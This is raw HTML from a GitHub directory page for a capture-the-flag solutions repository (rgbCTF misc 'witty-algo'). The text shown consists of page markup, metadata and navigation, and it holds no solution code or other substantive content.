src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-solutions/rgbCTF/misc/witty-algo at master ยท BigB00st/ctf-solutions ยท GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="91B8:A589:7F65F01:82AA4CA:64121E9B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="14553ca7e19f1cbe5d986a91229c3449b1f18cb3c86d1b91c3a51297e163af06" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MUI4OkE1ODk6N0Y2NUYwMTo4MkFBNENBOjY0MTIxRTlCIiwidmlzaXRvcl9pZCI6IjYxNTU2MDQyNzkxNDA5NDk2NTkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="d43ac757868063e9423650b45568589342431eca1c880aa162ab131e22a89c5a" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:252509468" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-solutions/rgbCTF/misc/witty-algo at master ยท BigB00st/ctf-solutions" /><meta name="twitter:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta property="og:image:alt" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-solutions/rgbCTF/misc/witty-algo at master ยท BigB00st/ctf-solutions" /><meta property="og:url" content="https://github.com/BigB00st/ctf-solutions" /><meta property="og:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/BigB00st/ctf-solutions git https://github.com/BigB00st/ctf-solutions.git"> <meta name="octolytics-dimension-user_id" content="45171153" /><meta name="octolytics-dimension-user_login" content="BigB00st" /><meta name="octolytics-dimension-repository_id" content="252509468" /><meta name="octolytics-dimension-repository_nwo" content="BigB00st/ctf-solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="252509468" /><meta name="octolytics-dimension-repository_network_root_nwo" content="BigB00st/ctf-solutions" /> <link rel="canonical" href="https://github.com/BigB00st/ctf-solutions/tree/master/rgbCTF/misc/witty-algo" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Signย up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="252509468" data-scoped-search-url="/BigB00st/ctf-solutions/search" data-owner-scoped-search-url="/users/BigB00st/search" data-unscoped-search-url="/search" data-turbo="false" action="/BigB00st/ctf-solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="R2ESk9odxr/SLBpQMf6F//dfVsf4XyUr7z9LGthn1whCbucVAzpMjZEEfR0SNrwBhX1jFWtmuzctNTd+Bco0Dw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 